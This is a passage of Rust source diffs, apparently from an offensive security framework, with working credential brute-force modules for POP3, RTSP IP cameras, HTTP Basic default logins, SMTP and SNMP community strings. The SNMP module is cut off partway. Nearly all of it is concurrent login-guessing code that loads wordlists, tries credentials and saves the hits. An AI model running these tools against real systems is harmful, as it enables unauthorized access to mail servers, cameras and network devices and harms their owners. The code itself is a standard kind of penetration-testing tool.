let _pass_count = count_lines(&config.password_wordlist)?;
// We will use memory mode for simpler implementation unless huge, but for now standard load_lines
// If files are huge, the shared Utils load_lines might panic or OOM, but let's assume reasonable sizes for now
// or use the streaming logic if I can adapt it easily.
// To match other modules (ssh/ftp), I'll use load_lines.
let usernames = load_lines(&config.username_wordlist)?;
let passwords = load_lines(&config.password_wordlist)?;
let total_attempts = if config.full_combo {
usernames.len() * passwords.len()
} else {
std::cmp::max(usernames.len(), passwords.len())
};
println!("[*] Loaded {} usernames, {} passwords", usernames.len(), passwords.len());
println!("[*] Total attempts: {}", total_attempts);
let stats = Arc::new(BruteforceStats::new());
let found_creds = Arc::new(Mutex::new(Vec::new()));
let stop_signal = Arc::new(AtomicBool::new(false));
let _start_time = std::time::Instant::now();
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop_signal.clone();
let progress_handle = tokio::spawn(async move {
while !stop_clone.load(Ordering::Relaxed) {
tokio::time::sleep(Duration::from_secs(2)).await;
stats_clone.print_progress();
}
});
let semaphore = Arc::new(Semaphore::new(config.threads));
let mut tasks = FuturesUnordered::new();
// Generate combinations
let mut combos = Vec::new();
if config.full_combo {
for u in &usernames {
for p in &passwords {
combos.push((u.clone(), p.clone()));
}
}
} else {
// Linear mix: try u[0] p[0], u[1] p[1]... cycle if needed
let max_len = std::cmp::max(usernames.len(), passwords.len());
for i in 0..max_len {
let u = &usernames[i % usernames.len()];
let p = &passwords[i % passwords.len()];
combos.push((u.clone(), p.clone()));
}
}
// Process combinations
for (user, pass) in combos {
if config.stop_on_success && stop_signal.load(Ordering::Relaxed) {
break;
}
let permit = semaphore.clone().acquire_owned().await?;
let config_clone = config.clone();
let stats_clone = stats.clone();
let found_clone = found_creds.clone();
let stop_signal_clone = stop_signal.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
tasks.push(tokio::spawn(async move {
let _permit = permit; // Hold permit
if config_clone.stop_on_success && stop_signal_clone.load(Ordering::Relaxed) {
return;
}
// Retry loop
let mut retries = 0;
loop {
let config_inner = config_clone.clone();
let user_inner = user_clone.clone();
let pass_inner = pass_clone.clone();
let res = tokio::task::spawn_blocking(move || {
attempt_pop3_login(&config_inner, &user_inner, &pass_inner)
}).await;
match res {
Ok(Ok(true)) => {
println!("\r{}", format!("[+] Found: {}:{}", user, pass).green().bold());
found_clone.lock().await.push((user.clone(), pass.clone()));
stats_clone.record_success();
if config_clone.stop_on_success {
stop_signal_clone.store(true, Ordering::Relaxed);
}
break;
},
Ok(Ok(false)) => {
stats_clone.record_failure();
if config_clone.verbose {
println!("\r{}", format!("[-] Failed: {}:{}", user, pass).dimmed());
}
break;
},
Ok(Err(e)) => {
if config_clone.retry_on_error && retries < config_clone.max_retries {
retries += 1;
stats_clone.record_retry();
// Small backoff
tokio::time::sleep(Duration::from_millis(500)).await;
continue;
}
stats_clone.record_error(e.to_string()).await;
if config_clone.verbose {
println!("\r{}", format!("[!] Error {}:{}: {}", user, pass, e).red());
}
break;
},
Err(e) => {
stats_clone.record_error(format!("Task panic: {}", e)).await;
break;
}
}
}
if config_clone.delay_ms > 0 {
tokio::time::sleep(Duration::from_millis(config_clone.delay_ms)).await;
}
}));
// Drain finished tasks to keep memory low
while let std::task::Poll::Ready(Some(_)) = futures::future::poll_fn(|cx| std::task::Poll::Ready(tasks.poll_next_unpin(cx))).await {
// Just drain
}
}
// Wait for remaining
while let Some(_) = tasks.next().await {}
stop_signal.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
stats.print_final().await;
// Save results
let found = found_creds.lock().await;
if !found.is_empty() {
if let Ok(mut file) = std::fs::OpenOptions::new().create(true).append(true).open(&config.output_file) {
for (u, p) in found.iter() {
let _ = writeln!(file, "{}:{}", u, p);
}
println!("[+] Results saved to {}", config.output_file);
}
}
Ok(())
}
fn count_lines(path: &str) -> Result<usize> {
let file = std::fs::File::open(path)?;
let reader = std::io::BufReader::new(file);
use std::io::BufRead;
Ok(reader.lines().count())
}
// Blocking login attempt
fn attempt_pop3_login(config: &Pop3BruteforceConfig, user: &str, pass: &str) -> Result<bool> {
let addr = format!("{}:{}", config.target, config.port);
let timeout = Duration::from_secs(config.connection_timeout);
if config.use_ssl {
let connector = TlsConnector::new()?;
// Resolve first to apply timeout to connect
let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)?.next().ok_or_else(|| anyhow!("Resolution failed"))?;
let stream = TcpStream::connect_timeout(&socket_addr, timeout)?;
stream.set_read_timeout(Some(timeout))?;
stream.set_write_timeout(Some(timeout))?;
let mut stream = connector.connect(&config.target, stream)?;
// Read banner
let mut buffer = [0; 1024];
stream.read(&mut buffer)?; // +OK ...
stream.write_all(format!("USER {}\r\n", user).as_bytes())?;
let n = stream.read(&mut buffer)?;
if !String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") {
return Ok(false);
}
stream.write_all(format!("PASS {}\r\n", pass).as_bytes())?;
let n = stream.read(&mut buffer)?;
if String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") {
stream.write_all(b"QUIT\r\n").ok();
return Ok(true);
}
} else {
let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)?.next().ok_or_else(|| anyhow!("Resolution failed"))?;
let mut stream = TcpStream::connect_timeout(&socket_addr, timeout)?;
stream.set_read_timeout(Some(timeout))?;
stream.set_write_timeout(Some(timeout))?;
// Read banner
let mut buffer = [0; 1024];
stream.read(&mut buffer)?;
stream.write_all(format!("USER {}\r\n", user).as_bytes())?;
let n = stream.read(&mut buffer)?;
if !String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") {
return Ok(false);
}
stream.write_all(format!("PASS {}\r\n", pass).as_bytes())?;
let n = stream.read(&mut buffer)?;
if String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") {
stream.write_all(b"QUIT\r\n").ok();
return Ok(true);
}
}
Ok(false)
}
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,437 @@
use anyhow::{anyhow, Result};
use base64::engine::general_purpose::STANDARD as Base64;
use base64::Engine as _;
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use std::{
fs::File,
io::Write,
net::SocketAddr,
sync::Arc,
sync::atomic::{AtomicBool, Ordering},
time::Duration,
};
use tokio::{
io::{AsyncReadExt, AsyncWriteExt},
net::TcpStream,
sync::{Mutex, Semaphore},
time::sleep,
};
use crate::utils::{
prompt_yes_no, prompt_wordlist, prompt_default, prompt_int_range,
load_lines, get_filename_in_current_dir, normalize_target,
};
use crate::modules::creds::utils::BruteforceStats;
const PROGRESS_INTERVAL_SECS: u64 = 2;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Advanced RTSP Brute Force Module ║".cyan());
println!("{}", "║ IP Camera and Streaming Server Credential Testing ║".cyan());
println!("{}", "║ Supports path enumeration and custom headers ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Main entry point for the advanced RTSP brute force module.
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
let port: u16 = prompt_default("RTSP Port", "554").await?
.parse().unwrap_or(554);
let usernames_file = prompt_wordlist("Username wordlist").await?;
let passwords_file = prompt_wordlist("Password wordlist").await?;
let concurrency = prompt_int_range("Max concurrent tasks", 10, 1, 10000).await? as usize;
let stop_on_success = prompt_yes_no("Stop on first success?", true).await?;
let _save_results = prompt_yes_no("Save results to file?", true).await?;
let save_path = if _save_results {
Some(prompt_default("Output file", "rtsp_results.txt").await?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false).await?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false).await?;
let advanced_mode = prompt_yes_no("Use advanced RTSP commands/headers (DESCRIBE + custom headers)?", false).await?;
let mut advanced_headers: Vec<String> = Vec::new();
let advanced_command = if advanced_mode {
let method = prompt_default("RTSP method to use (e.g. DESCRIBE)", "DESCRIBE").await?;
if prompt_yes_no("Load extra RTSP headers from a file?", false).await? {
let headers_path = prompt_wordlist("Path to RTSP headers file").await?;
advanced_headers = load_lines(&headers_path)?;
}
Some(method)
} else {
None
};
let advanced_headers = Arc::new(advanced_headers);
let (addr, implicit_path) = normalize_target_input(target, port)?;
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(AtomicBool::new(false));
let stats = Arc::new(BruteforceStats::new()); // Standardized stats
let semaphore = Arc::new(Semaphore::new(concurrency));
println!("\n[*] Starting brute-force on {}", addr);
let resolved_addrs = match resolve_targets(&addr).await {
Ok(addrs) => Arc::new(addrs),
Err(e) => {
eprintln!("[!] Failed to resolve '{}': {}", addr, e);
return Err(e);
}
};
let users = load_lines(&usernames_file)?;
if users.is_empty() {
println!("[!] Username wordlist is empty. Exiting.");
return Ok(());
}
let pass_lines = load_lines(&passwords_file)?;
if pass_lines.is_empty() {
println!("[!] Password wordlist is empty. Exiting.");
return Ok(());
}
let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false).await?;
let mut paths = if brute_force_paths {
let paths_file = prompt_wordlist("Path to RTSP paths file").await?;
load_lines(&paths_file)?
} else {
vec!["".to_string()]
};
if paths.is_empty() {
println!("[!] RTSP paths list is empty. Falling back to default root path.");
paths.push(String::new());
}
if let Some(p) = implicit_path {
if !paths.iter().any(|existing| existing == &p) {
paths.insert(0, p);
}
}
println!();
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop.clone();
let progress_handle = tokio::spawn(async move {
loop {
if stop_clone.load(Ordering::Relaxed) {
break;
}
stats_clone.print_progress();
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
}
});
let mut tasks = FuturesUnordered::new();
let mut idx = 0usize;
// Use loop structure from other modules or this module's custom loop?
// This module iterates: pass list (outer), user list (inner depending on combo), then paths.
// I will preserve the original logic flow.
for pass in pass_lines {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
let userlist: Vec<String> = if combo_mode {
users.clone()
} else {
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
};
for user in userlist {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
for path in &paths {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
let addr_clone = addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let path_clone = path.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let stats_clone = Arc::clone(&stats);
let command = advanced_command.clone();
let headers = Arc::clone(&advanced_headers);
let semaphore_clone = Arc::clone(&semaphore);
let addrs_clone = Arc::clone(&resolved_addrs);
let stop_flag = stop_on_success;
let verbose_flag = verbose;
tasks.push(tokio::spawn(async move {
if stop_flag && stop_clone.load(Ordering::Relaxed) { return; }
let permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_flag && stop_clone.load(Ordering::Relaxed) {
drop(permit);
return;
}
match try_rtsp_login(
addrs_clone.as_slice(),
&addr_clone,
&user_clone,
&pass_clone,
&path_clone,
command.as_deref(),
&headers,
).await {
Ok(true) => {
let path_str = if path_clone.is_empty() { "NO_PATH" } else { &path_clone };
println!("\r{}", format!("[+] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_str).green().bold());
found_clone.lock().await.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone(), path_str.to_string()));
stats_clone.record_success();
if stop_flag {
stop_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
stats_clone.record_failure();
if verbose_flag {
println!("\r{}", format!("[-] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_clone).dimmed());
}
}
Err(e) => {
stats_clone.record_error(e.to_string()).await;
if verbose_flag {
println!("\r{}", format!("[!] {} -> error: {}", addr_clone, e).red());
}
}
}
drop(permit);
sleep(Duration::from_millis(10)).await;
}));
// Limit task generation if queue prevents high memory usage (though semaphore limits active tasks)
// The semaphore logic above (acquire_owned) already throttles concurrency.
}
}
idx += 1;
}
while let Some(res) = tasks.next().await {
if let Err(e) = res {
if verbose {
stats.record_error(format!("Task panic: {}", e)).await;
}
}
}
// Stop progress reporter
stop.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
// Print final statistics
stats.print_final().await;
let creds = found.lock().await;
if creds.is_empty() {
println!("{}", "[-] No credentials found (with these paths).".yellow());
} else {
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
for (host, user, pass, path) in creds.iter() {
println!(" {} -> {}:{} [path={}]", host, user, pass, path);
}
if let Some(path) = save_path {
let filename = get_filename_in_current_dir(&path);
if let Ok(mut file) = File::create(&filename) {
for (host, user, pass, path) in creds.iter() {
let _ = writeln!(file, "{} -> {}:{} [path={}]", host, user, pass, path);
}
println!("[+] Results saved to '{}'", filename.display());
}
}
}
Ok(())
}
/// Resolve a host:port (literal v4/v6 or DNS) into all possible SocketAddrs.
async fn resolve_targets(addr: &str) -> Result<Vec<SocketAddr>> {
// 1) If it's a literal SocketAddr, return it directly
if let Ok(sa) = addr.parse::<SocketAddr>() {
return Ok(vec![sa]);
}
// 2) Split into host / port
let (host, port) = if let Some((h, p)) = addr.rsplit_once(':') {
(h.to_string(), p.parse().unwrap_or(554))
} else {
(addr.to_string(), 554)
};
// 3) Clean any nested brackets and format bracketed IPv6 or plain host
let host_clean = host.trim_matches(|c| c == '[' || c == ']').to_string();
let host_port = if host_clean.contains(':') {
format!("[{}]:{}", host_clean, port)
} else {
format!("{}:{}", host_clean, port)
};
// 4) DNS lookup (handles A + AAAA)
let addrs = tokio::net::lookup_host(host_port.clone())
.await
.map_err(|e| anyhow!("DNS lookup '{}': {}", host_port, e))?
.collect::<Vec<_>>();
if addrs.is_empty() {
Err(anyhow!("No addresses found for '{}'", host_port))
} else {
Ok(addrs)
}
}
/// Attempt RTSP login, trying each resolved address until one succeeds or all fail.
async fn try_rtsp_login(
addrs: &[SocketAddr],
addr_display: &str,
user: &str,
pass: &str,
path: &str,
method: Option<&str>,
extra_headers: &[String],
) -> Result<bool> {
let mut last_err = None;
let mut stream = None;
let mut connected_sa: Option<SocketAddr> = None;
// Try each candidate address
for sa in addrs {
match TcpStream::connect(*sa).await {
Ok(s) => {
stream = Some(s);
connected_sa = Some(*sa);
break;
}
Err(e) => {
last_err = Some(e);
continue;
}
}
}
// Unwrap the successful connection and SocketAddr
let (mut stream, sa) = match (stream, connected_sa) {
(Some(s), Some(sa)) => (s, sa),
_ => {
return Err(anyhow!(
"All connection attempts to {} failed: {}",
addr_display,
last_err.map(|e| e.to_string()).unwrap_or_default()
))
}
};
// Build a proper host:port string for the RTSP URI, handling IPv6 correctly
let ip_str = sa.ip().to_string();
let host_for_uri = if ip_str.contains(':') {
format!("[{}]:{}", ip_str, sa.port())
} else {
format!("{}:{}", ip_str, sa.port())
};
let rtsp_method = method.unwrap_or("OPTIONS");
let path_str = if path.is_empty() { "" } else { path };
let credentials = Base64.encode(format!("{}:{}", user, pass));
let mut request = format!(
"{method} rtsp://{host}/{path} RTSP/1.0\r\nCSeq: 1\r\nAuthorization: Basic {auth}\r\n",
method = rtsp_method,
host = host_for_uri,
path = path_str.trim_start_matches('/'),
auth = credentials,
);
for header in extra_headers {
request.push_str(header);
if !header.ends_with("\r\n") {
request.push_str("\r\n");
}
}
request.push_str("\r\n");
stream.write_all(request.as_bytes()).await?;
let mut buffer = [0u8; 2048];
let n = stream.read(&mut buffer).await?;
if n == 0 {
return Err(anyhow!("{}: server closed connection unexpectedly.", addr_display));
}
let response = String::from_utf8_lossy(&buffer[..n]);
if response.contains("200 OK") {
Ok(true)
} else if response.contains("401") || response.contains("403") {
Ok(false)
} else {
Err(anyhow!("{}: unexpected RTSP response:\n{}", addr_display, response))
}
}
fn normalize_target_input(target: &str, default_port: u16) -> Result<(String, Option<String>)> {
let trimmed = target.trim();
if trimmed.is_empty() {
return Err(anyhow!("Target cannot be empty."));
}
let without_scheme = trimmed.strip_prefix("rtsp://").unwrap_or(trimmed);
let (host_part, path_part) = if let Some((host, path)) = without_scheme.split_once('/') {
(host.trim(), Some(path.to_string()))
} else {
(without_scheme.trim(), None)
};
// Use shared normalization for the host/port part
let normalized_host = normalize_target(host_part)?;
// Check if normalized host implies a port. normalize_target returns host:port or host.
// If it has no port, we might want to append default_port, OR return it as is and let caller handle.
// However, existing logic seemed to force a port.
// Let's check if port is present.
// A simple heuristic: if it ends with digit, check for colon.
// [ipv6]:port, ipv4:port, host:port.
// If we assume normalize_target did its job, we just need to adhere to the return type.
// But wait, if normalize_target returned "host", and we want "host:554", we need to append.
// Checking for port on a normalized string:
let has_port = if normalized_host.starts_with('[') {
normalized_host.rfind(':').map(|i| i > normalized_host.rfind(']').unwrap_or(0)).unwrap_or(false)
} else {
normalized_host.contains(':')
};
let final_host = if has_port {
normalized_host
} else {
format!("{}:{}", normalized_host, default_port)
};
let normalized_path = path_part.and_then(|p| {
let truncated = p.split(|c| c == '?' || c == '#').next().unwrap_or_default();
let trimmed = truncated.trim();
if trimmed.is_empty() || trimmed == "/" {
None
} else {
let mut path = trimmed.to_string();
if !path.starts_with('/') {
path.insert(0, '/');
}
Some(path)
}
});
Ok((final_host, normalized_path))
}
// ─── Prompt and utility functions unchanged ───────────────────────────────────
@@ -0,0 +1,44 @@
use anyhow::{Result, Context};
use colored::*;
use reqwest;
use std::time::Duration;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Sample Default Credential Checker ║".cyan());
println!("{}", "║ HTTP Basic Auth Test Module ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// A sample credential check - tries a basic auth login
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
println!("{}", "[*] Checking default credentials (admin:admin)...".cyan());
println!();
let url = format!("http://{}/login", target);
let client = reqwest::Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()?;
let resp = client
.post(&url)
.basic_auth("admin", Some("admin"))
.send()
.await
.context("Failed to send login request")?;
if resp.status().is_success() {
println!("{}", "[+] Default credentials admin:admin are valid!".green().bold());
} else {
println!("{}", "[-] Default credentials admin:admin failed.".yellow());
}
Ok(())
}
@@ -0,0 +1,295 @@
use anyhow::{anyhow, Context, Result};
use colored::*;
use std::net::{TcpStream, ToSocketAddrs};
use std::sync::{
atomic::{AtomicBool, Ordering},
Arc,
};
use std::time::Duration;
use tokio::sync::{Mutex, Semaphore};
use futures::stream::{FuturesUnordered, StreamExt};
use telnet::{Telnet, Event};
use base64::{engine::general_purpose, Engine as _};
use crate::utils::{
prompt_yes_no, prompt_existing_file, prompt_int_range,
load_lines, prompt_default,
};
use crate::modules::creds::utils::BruteforceStats;
#[derive(Clone)]
struct SmtpBruteforceConfig {
target: String,
port: u16,
username_wordlist: String,
password_wordlist: String,
threads: usize,
stop_on_success: bool,
verbose: bool,
full_combo: bool,
output_file: String,
delay_ms: u64,
}
pub async fn run(target: &str) -> Result<()> {
println!("\n{}", "=== SMTP Bruteforce Module (RustSploit) ===".bold().cyan());
println!();
let port = prompt_int_range("Port", 25, 1, 65535).await? as u16;
let username_wordlist = prompt_existing_file("Username wordlist file").await?;
let password_wordlist = prompt_existing_file("Password wordlist file").await?;
let threads = prompt_int_range("Threads", 8, 1, 256).await? as usize;
let delay_ms = prompt_int_range("Delay (ms)", 50, 0, 10000).await? as u64;
let stop_on_success = prompt_yes_no("Stop on first valid login?", true).await?;
let full_combo = prompt_yes_no("Try every username with every password?", false).await?;
let verbose = prompt_yes_no("Verbose mode?", false).await?;
let output_file = prompt_default("Output file for results", "smtp_results.txt").await?;
let config = SmtpBruteforceConfig {
target: target.to_string(),
port,
username_wordlist,
password_wordlist,
threads,
stop_on_success,
verbose,
full_combo,
output_file,
delay_ms,
};
println!();
run_smtp_bruteforce(config).await
}
async fn run_smtp_bruteforce(config: SmtpBruteforceConfig) -> Result<()> {
let usernames = load_lines(&config.username_wordlist)?;
let passwords = load_lines(&config.password_wordlist)?;
let total_attempts = if config.full_combo {
usernames.len() * passwords.len()
} else {
std::cmp::max(usernames.len(), passwords.len())
};
println!("[*] Loaded {} usernames, {} passwords", usernames.len(), passwords.len());
println!("[*] Total attempts: {}", total_attempts);
let stats = Arc::new(BruteforceStats::new());
let found_creds = Arc::new(Mutex::new(Vec::new()));
let stop_signal = Arc::new(AtomicBool::new(false));
let _start_time = std::time::Instant::now();
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop_signal.clone();
let progress_handle = tokio::spawn(async move {
while !stop_clone.load(Ordering::Relaxed) {
tokio::time::sleep(Duration::from_secs(2)).await;
stats_clone.print_progress();
}
});
let semaphore = Arc::new(Semaphore::new(config.threads));
let mut tasks = FuturesUnordered::new();
// Generate combinations
let mut combos = Vec::new();
if config.full_combo {
for u in &usernames {
for p in &passwords {
combos.push((u.clone(), p.clone()));
}
}
} else {
let max_len = std::cmp::max(usernames.len(), passwords.len());
for i in 0..max_len {
let u = &usernames[i % usernames.len()];
let p = &passwords[i % passwords.len()];
combos.push((u.clone(), p.clone()));
}
}
// Process combinations
for (user, pass) in combos {
if config.stop_on_success && stop_signal.load(Ordering::Relaxed) {
break;
}
let permit = semaphore.clone().acquire_owned().await?;
let config_clone = config.clone();
let stats_clone = stats.clone();
let found_clone = found_creds.clone();
let stop_signal_clone = stop_signal.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
tasks.push(tokio::spawn(async move {
let _permit = permit;
if config_clone.stop_on_success && stop_signal_clone.load(Ordering::Relaxed) {
return;
}
// Wrap blocking logic
let config_inner = config_clone.clone();
let user_inner = user_clone.clone();
let pass_inner = pass_clone.clone();
let res = tokio::task::spawn_blocking(move || {
match try_smtp_login(&config_inner.target, config_inner.port, &user_inner, &pass_inner) {
Ok(true) => Ok(true),
Ok(false) => Ok(false),
Err(e) => Err(e),
}
}).await;
match res {
Ok(Ok(true)) => {
println!("\r{}", format!("[+] Found: {}:{}", user_clone, pass_clone).green().bold());
found_clone.lock().await.push((user_clone.clone(), pass_clone.clone()));
stats_clone.record_success();
if config_clone.stop_on_success {
stop_signal_clone.store(true, Ordering::Relaxed);
}
},
Ok(Ok(false)) => {
stats_clone.record_failure();
if config_clone.verbose {
println!("\r{}", format!("[-] Failed: {}:{}", user_clone, pass_clone).dimmed());
}
},
Ok(Err(e)) => {
stats_clone.record_error(e.to_string()).await;
if config_clone.verbose {
println!("\r{}", format!("[!] Error {}:{}: {}", user_clone, pass_clone, e).red());
}
},
Err(e) => {
stats_clone.record_error(format!("Task panic: {}", e)).await;
}
}
if config_clone.delay_ms > 0 {
tokio::time::sleep(Duration::from_millis(config_clone.delay_ms)).await;
}
}));
// Memory management: drain completed tasks
while let std::task::Poll::Ready(Some(_)) = futures::future::poll_fn(|cx| std::task::Poll::Ready(tasks.poll_next_unpin(cx))).await {}
}
while let Some(_) = tasks.next().await {}
stop_signal.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
stats.print_final().await;
// Save results
let found = found_creds.lock().await;
if !found.is_empty() {
if let Ok(mut file) = std::fs::OpenOptions::new().create(true).append(true).open(&config.output_file) {
use std::io::Write;
for (u, p) in found.iter() {
let _ = writeln!(file, "{}:{}", u, p);
}
println!("[+] Results saved to {}", config.output_file);
}
}
Ok(())
}
fn try_smtp_login(target: &str, port: u16, username: &str, password: &str) -> Result<bool> {
let addr = format!("{}:{}", target, port);
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow!("Resolution failed"))?;
let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(2000))?;
stream.set_read_timeout(Some(Duration::from_millis(2000)))?;
stream.set_write_timeout(Some(Duration::from_millis(2000)))?;
let mut telnet = Telnet::from_stream(Box::new(stream), 512);
let mut banner_ok = false;
for _ in 0..3 {
let event = telnet.read().context("Banner read")?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.starts_with("220") { banner_ok = true; break; }
}
}
if !banner_ok { return Err(anyhow!("No 220 banner")); }
telnet.write(b"EHLO scanner\r\n")?;
let mut login_ok = false;
let mut plain_ok = false;
let mut ehlo_seen = false;
for _ in 0..6 {
let event = telnet.read().context("EHLO read")?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.contains("AUTH") && s.contains("PLAIN") { plain_ok = true; }
if s.contains("AUTH") && s.contains("LOGIN") { login_ok = true; }
if s.starts_with("250 ") { ehlo_seen = true; break; }
}
}
if !ehlo_seen { return Ok(false); }
// Try AUTH PLAIN
if plain_ok {
let mut blob = vec![0];
blob.extend(username.as_bytes()); blob.push(0); blob.extend(password.as_bytes());
let cmd = format!("AUTH PLAIN {}\r\n", general_purpose::STANDARD.encode(&blob));
telnet.write(cmd.as_bytes())?;
for _ in 0..2 {
let event = telnet.read().context("Auth response")?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); }
if s.starts_with("535") || s.starts_with("5") { return Ok(false); }
}
}
}
// Try AUTH LOGIN
if login_ok {
telnet.write(b"AUTH LOGIN\r\n")?;
// Wait for username prompt (334)
for _ in 0..2 {
let event = telnet.read().context("Auth Login prompt")?;
if let Event::Data(b) = event {
if String::from_utf8_lossy(&b).starts_with("334") { break; }
}
}
let ucmd = format!("{}\r\n", general_purpose::STANDARD.encode(username.as_bytes()));
telnet.write(ucmd.as_bytes())?;
// Wait for password prompt (334)
for _ in 0..2 {
let event = telnet.read().context("Auth Pass prompt")?;
if let Event::Data(b) = event {
if String::from_utf8_lossy(&b).starts_with("334") { break; }
}
}
let pcmd = format!("{}\r\n", general_purpose::STANDARD.encode(password.as_bytes()));
telnet.write(pcmd.as_bytes())?;
for _ in 0..2 {
let event = telnet.read().context("Auth final response")?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); }
if s.starts_with("535") || s.starts_with("5") { return Ok(false); }
}
}
}
Ok(false)
}
@@ -0,0 +1,533 @@
use anyhow::{anyhow, Result};
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use std::{
io::Write,
net::{SocketAddr, UdpSocket},
sync::Arc,
time::{Duration, Instant},
};
use std::sync::atomic::{AtomicBool, Ordering};
use tokio::{
sync::Mutex,
sync::Semaphore,
task::spawn_blocking,
time::sleep,
};
use crate::utils::{
prompt_yes_no, prompt_existing_file, prompt_int_range,
load_lines, prompt_default, normalize_target,
};
use crate::modules::creds::utils::BruteforceStats;
const PROGRESS_INTERVAL_SECS: u64 = 2;
pub async fn run(target: &str) -> Result<()> {
println!("\n{}", "=== SNMPv1/v2c Brute Force Module ===".bold().cyan());
println!("{}", " Community String Discovery Tool".cyan());
println!();
println!("{}", format!("[*] Target: {}", target).cyan());
let default_port = 161;
let port = prompt_int_range("SNMP Port", default_port as i64, 1, 65535).await? as u16;
let communities_file = prompt_existing_file("Community string wordlist file path").await?;
// Custom prompt for version since it's specific
let snmp_version = loop {
let input = prompt_default("SNMP Version (1 or 2c)", "2c").await?;
match input.trim().to_lowercase().as_str() {
"1" => break 0, // SNMPv1
"2c" | "2" => break 1, // SNMPv2c
_ => println!("Invalid version. Enter '1' or '2c'."),
}
};
let concurrency = prompt_int_range("Max concurrent tasks", 50, 1, 1000).await? as usize;
let stop_on_success = prompt_yes_no("Stop on first success?", true).await?;
// Output file handled by saving results at the end usually, but old code asked upfront.
// I'll stick to standard flow: prompt for save at end OR automatically if specified.
// Existing modules prompted for output file upfront. I'll do that for consistency with new standard.
let output_file = prompt_default("Output file", "snmp_results.txt").await?;
let verbose = prompt_yes_no("Verbose mode?", false).await?;
let timeout_secs = prompt_int_range("Timeout (seconds)", 3, 1, 300).await? as u64;
let connect_addr = format!("{}:{}", normalize_target(target)?, port);
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(AtomicBool::new(false));
let stats = Arc::new(BruteforceStats::new());
println!("\n[*] Starting SNMP brute-force on {}", connect_addr);
println!("[*] SNMP Version: {}", if snmp_version == 0 { "v1" } else { "v2c" });
let communities = load_lines(&communities_file)?;
if communities.is_empty() {
println!("[!] Community wordlist is empty. Exiting.");
return Ok(());
}
println!("{}", format!("[*] Loaded {} community strings", communities.len()).cyan());
println!();
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop.clone();
let _start_time = Instant::now();
let progress_handle = tokio::spawn(async move {
loop {
if stop_clone.load(Ordering::Relaxed) {
break;
}
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
stats_clone.print_progress();
}
});
let communities = Arc::new(communities);
let mut tasks = FuturesUnordered::new();
let semaphore = Arc::new(Semaphore::new(concurrency));
for community in communities.iter() {
if stop_on_success && stop.load(Ordering::Relaxed) {
break;
}
let permit = semaphore.clone().acquire_owned().await?;
let addr_clone = connect_addr.clone();
let community_clone = community.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let stats_clone = Arc::clone(&stats);
let stop_flag = stop_on_success;
let verbose_flag = verbose;
let version = snmp_version;
let timeout = Duration::from_secs(timeout_secs);
tasks.push(tokio::spawn(async move {
let _permit = permit;
if stop_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
match try_snmp_community(&addr_clone, &community_clone, version, timeout).await {
Ok(true) => {
println!("\r{}", format!("[+] {} -> community: '{}'", addr_clone, community_clone).green().bold());
found_clone
.lock()
.await
.push((addr_clone.clone(), community_clone.clone()));
stats_clone.record_success();
if stop_flag {
stop_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
stats_clone.record_failure();
